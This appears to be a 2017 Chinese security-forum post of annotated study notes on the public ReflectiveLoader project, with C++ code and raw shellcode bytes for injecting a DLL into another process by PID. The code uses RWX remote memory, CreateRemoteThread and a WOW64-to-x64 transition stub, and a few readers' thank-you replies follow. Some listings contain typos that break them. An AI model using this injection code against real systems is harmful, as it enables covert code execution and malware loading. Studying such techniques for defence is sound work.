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[原创]ReflectiveLoader(远程线程的注入 PE的修正)
2017-10-25 21:43 3906

[原创]ReflectiveLoader(远程线程的注入 PE的修正)

2017-10-25 21:43
3906

从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正

其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到最后的链接中 


 一.这是用到的shellocode

作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行)

static BYTE __ExecutexX64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";

static BYTE __FunctionX64[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";



二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释)

#define MYFUNCTION_HASH		0x6654bba6 // hash of "MyFunction"
enum {
	UNKNOWN,
	X86,
	X64
};


#define DEREFERENCE   (Value) *(UINT_PTR *)(Value)
#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
#define DEREFERENCE_32(Value) *(DWORD *)(Value)
#define DEREFERENCE_16(Value) *(WORD *)(Value)
#define DEREFERENCE_8 (Value) *(BYTE *)(Value)

typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);

typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData);
typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData);

typedef struct _WOW64CONTEXT_
{
	union
	{
		HANDLE ProcessHandle;
		BYTE   Padding[8];
	}u1;

	union
	{
		LPVOID ThreadProcedure;
		BYTE   Padding[8];
	}u2;

	union
	{
		LPVOID ParameterData;
		BYTE   Padding[8];
	}u3;
	union
	{
		HANDLE ThreadHandle;
		BYTE   Padding[8];
	}u4;
} WOW64CONTEXT, *LPWOW64CONTEXT;


三.主函数的解析

int main()
{
HANDLE FileHandle = NULL;
ULONG  FileLength = 0;
LPVOID FileData = NULL;
ULONG  ReturnLength = 0;
HANDLE ProcessHandle = NULL;
HANDLE RemoteThreadHandle = NULL;
DWORD  ExitCode = 0;
if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
{
return 0;
}
DWORD ProcessID = 0;
printf("Input ProcessID:\r\n");
scanf("%d", &ProcessID);
#ifdef_WIN64
char* DllFullPath = "ReflectiveLoader.dll";
#else
char* DllFullPath = "ReflectiveLoader.dll";
#endif
//1.打开文件
FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (FileHandle == INVALID_HANDLE_VALUE)
{
printf("CreateFileA() Error\r\n");
goto Exit;
}
//2.获得大小
FileLength = GetFileSize(FileHandle, NULL);
if (FileLength == INVALID_FILE_SIZE || FileLength == 0)
{
printf("GetFileSize() Error\r\n");
goto Exit;
}
//3.申请堆内存
FileData = HeapAlloc(GetProcessHeap(), 0, FileLength);
if (!FileData)
{
printf("HeapAlloc() Error\r\n");
goto Exit;
}
//4.读内存
if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE)
{
printf("HeapAlloc() Error\r\n");
goto Exit;
}
//以下是对目标进行操作
//5.打开目标进程
ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, ProcessID);
if (!ProcessHandle)
{
printf("OpenProcess() Error\r\n");
goto Exit;
}
//6.加载动态库
RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1);
if (!RemoteThreadHandle)
{
printf("LoadRemoteLibrary() Error\r\n");
goto Exit;
}
printf("LoadRemoteLibrary() Success\r\n");
//7.远程线程等待注入
WaitForSingleObject(RemoteThreadHandle, INFINITE);
if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode))
printf("Input AnyKey To Exit\r\n");
getchar();
//8.释放内存
Exit:
if (FileData)
{
HeapFree(GetProcessHeap(), 0, FileData);
}
if (FileHandle!=NULL)
    {
CloseHandle(FileHandle);
FileHandle = NULL;
    }
if (ProcessHandle)
{
CloseHandle(ProcessHandle);
ProcessHandle = NULL;
}
return 0;
}




四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记)

 


HANDLEWINAPI LoadRemoteLibrary(
HANDLEProcessHandle,
LPVOIDFileData,   //Dll文件数据
DWORDFileLength,
LPVOIDParameterData,
DWORDFunctionHash,//函数哈希值
LPVOIDUserData,
DWORDUserDataLength)
{
HANDLE RemoteThreadHandle = NULL;
DWORD  RemoteThreadID = 0;
DWORD TargetArchitecture = X86; //目标体系结构
DWORD DllArchitecture = UNKNOWN;
#ifdefined(_WIN64)
DWORD CurrentArchitecture = X64;
#elifdefined(_WIN32)
DWORD CurrentArchitecture=X86
#else
#endif
__try
{
do
{
if (!ProcessHandle || !FileData || !FileLength)
{
break;
}
//第一幕
// 1.获得目标进程的Architecture 进程通过内核获得体系结构
HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll");
if (!KernelModuleBase)
break;
__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process");
FreeLibrary(KernelModuleBase);
if (__IsWow64Process)
{
BOOL IsOK;
if (!__IsWow64Process(ProcessHandle, &IsOK));
{
break;
}
if (IsOK)
{
TargetArchitecture = X86;
}
else
{
//通过系统判断32位与64位
SYSTEM_INFO SystemInfo = { 0 };
GetNativeSystemInfo(&SystemInfo);
if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
TargetArchitecture = X64;
elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
TargetArchitecture = X86;
else
break;
}
}
// 2.通过PE获得获得Dll的Architecture
//MZ头+e_lfanew=NT头
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
DllArchitecture = X86;
elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
DllArchitecture = X64;
// 3.判断DLL和目标进程是否是相同的架构??
if (DllArchitecture != TargetArchitecture)
{
printf("Must Be Same Architecture\r\n");
break;
}
//第二幕
//1.再次检查动态库的装入
// check if the library has a ReflectiveLoader...
DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);
if (!ReflectiveLoaderOffset)
{
printf("Could Not Get ReflectiveLoader Offset\r\n");
break;
}
DWORD RemoteBufferLength = FileLength
+ UserDataLength
+ 64; // shellcode buffer
// 2.alloc memory (RWX) in the host process for the image...
LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!RemoteBufferData)
{
break;
}
printf("VirtualAllocEx() Success\r\n");
//3.1 write the image into the host process...将图像写入主进程。
//RemoteBufferData 指向写入数据的指定进程中的基地址的指针
if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
break;
//基地址+偏移
ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;
//3.2 write our userdata blob into the host process
ULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
break;
//3.3写shellcode
ULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;
BYTE Bootstrap[64] = { 0 };
DWORD BootstrapLength = CreateBootstrap(
Bootstrap,
64,
TargetArchitecture,
(ULONG_PTR)ParameterData,
(ULONG_PTR)RemoteBufferData,
FunctionHash,
RemoteUserData,
UserDataLength,
ReflectiveLoader);
if (BootstrapLength <= 0)
{
break;
}
printf("%p\r\n", RemoteShellCode);
getchar();
if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
break;
printf("Wrote ShellCode Success\r\n");
/*
此处的写入图
RemoteBufferData[FileData的基地址]
写入FileData
RemoteUserData[UserData的基地址]
写入UserData
RemoteShellCode
写入Bootstrap
*/
//确保我们的更改是马上写的
FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
printf("%p\r\n", RemoteShellCode);
getchar();
getchar();
//第三幕 判断主体与客体的位 并且创建线程执行
// 目标64  当前32
if (CurrentArchitecture == X86 && TargetArchitecture == X64)
{
Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
ResumeThread(RemoteThreadHandle);
}
else
{
//目标32  当前32
//目标64  当前64
//目标32  当前64
RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,
(LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
(DWORD)NULL, &RemoteThreadID);
/*lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
lpParameter [in]
指向要传递给线程函数的变量的指针。
*/
}
} while (0);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
RemoteThreadHandle = NULL;
}
return RemoteThreadHandle;
}




 

五.  Wow64CreateRemoteThread解读


DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle)
{
DWORD Result = ERROR_SUCCESS;
LPFN_EXECUTEX64  ExecuteX64 = NULL;
LPFN_FUNCTIONX64 FunctionX64 = NULL;
WOW64CONTEXT*  Wow64Context = NULL;
OSVERSIONINFO  OsVersionInfo = { 0 };
do
{
//第一幕 判断系统是否合适
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&OsVersionInfo))
{
printf("GetVersionEx() Error\r\n");
break;
}
// filter out Windows 2003
if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2)
{
printf("Is 2003 Error\r\n");
break;
}
//第二幕
//1.分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值
/*shellcode经过调试得出是通过远跳转到64位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。*/
ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!ExecuteX64)
{
printf("VirtualAlloc() Error\r\n");
break;
}
FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!FunctionX64)
{
printf("VirtualAlloc() Error\r\n");
break;
}
// copy over the wow64->x64 stub
memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
// copy over the native x64 function
memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
//2.设置上下背景文
Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));
Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目标进程句柄
Wow64Context->u2.ThreadProcedure = ThreadProcedure;
Wow64Context->u3.ParameterData   = ParameterData;
Wow64Context->u4.ThreadHandle    = NULL;
//3.执行该代码的环境是32位
if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  
{
printf("ExecuteX64() Error\r\n");
break;
}
//作为一个标识
if (!Wow64Context->u4.ThreadHandle)
{
printf("ThreadHandle Is NULL\r\n");
break;
}
// 4.成功! 从上下文中抓取新的线程句柄
*ThreadHandle = Wow64Context->u4.ThreadHandle;
} while (0);
//5.退出
if (ExecuteX64)
{
VirtualFree(ExecuteX64, 0, MEM_RELEASE);
ExecuteX64 = NULL;
}
if (FunctionX64)
{
VirtualFree(FunctionX64, 0, MEM_RELEASE);
FunctionX64 = NULL;
}
return Result;
}





第五届安全开发者峰会(SDC 2021)议题征集正式开启!

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雪    币: 87
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liucq 活跃值 2017-10-25 22:39
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谢谢分享
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woshidc 活跃值 2017-10-26 11:00
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谢谢分享
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wuyudps 活跃值 2018-3-19 13:32
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谢谢分享
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